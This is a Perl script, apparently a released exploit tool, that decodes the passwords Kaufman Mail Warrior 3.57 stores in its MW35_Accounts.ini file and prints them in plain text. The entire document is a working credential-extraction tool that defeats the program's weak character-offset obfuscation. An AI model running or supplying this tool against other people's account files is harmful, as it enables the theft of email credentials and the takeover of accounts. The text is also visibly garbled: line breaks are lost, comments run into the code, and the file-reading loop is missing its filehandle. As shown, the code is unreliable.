#!c:/perl/perl.exe # Description: Decrypts encrypted passwords found in # the Kaufman Mail Warrior accounts file # (MW35_Accounts.ini). # # Notes: Only tested on Version 3.57 of Kaufman Mail # Warrior. May or may not be compatible with # earlier/later releases of the software. # # Author: Xcript (xcript@rhs-ck.com) # # Website: http://www.rhs-ck.com if ($#ARGV < 0) { print "\nUSAGE: perl $0 \n"; exit; } $file = $ARGV[0]; $x = 1; print "\n"; open (FILE, $file) || die (&err); while () { if (substr($_, 0, 9) =~/Password=/i) { ($str, $int) = split(/=/, $_); for ($i = 0; $i < length($int); $i ++) { $mid = substr($int, $i, 1); $end = substr($int, $i + 1, 1); if ($mid eq ',' || $end eq '') { $str = chr($num + 75); $pwd = $pwd.$str; $num = $null; } else { $num = $num.$mid; } } print "Password[$x] .: $pwd\n"; $pwd = $null; $x ++; } } sub err { print "File not found.\n"; exit; } print "No accounts found.\n" if ($x == 1); print "\nDone.\n" if ($x > 1); close (FILE); exit;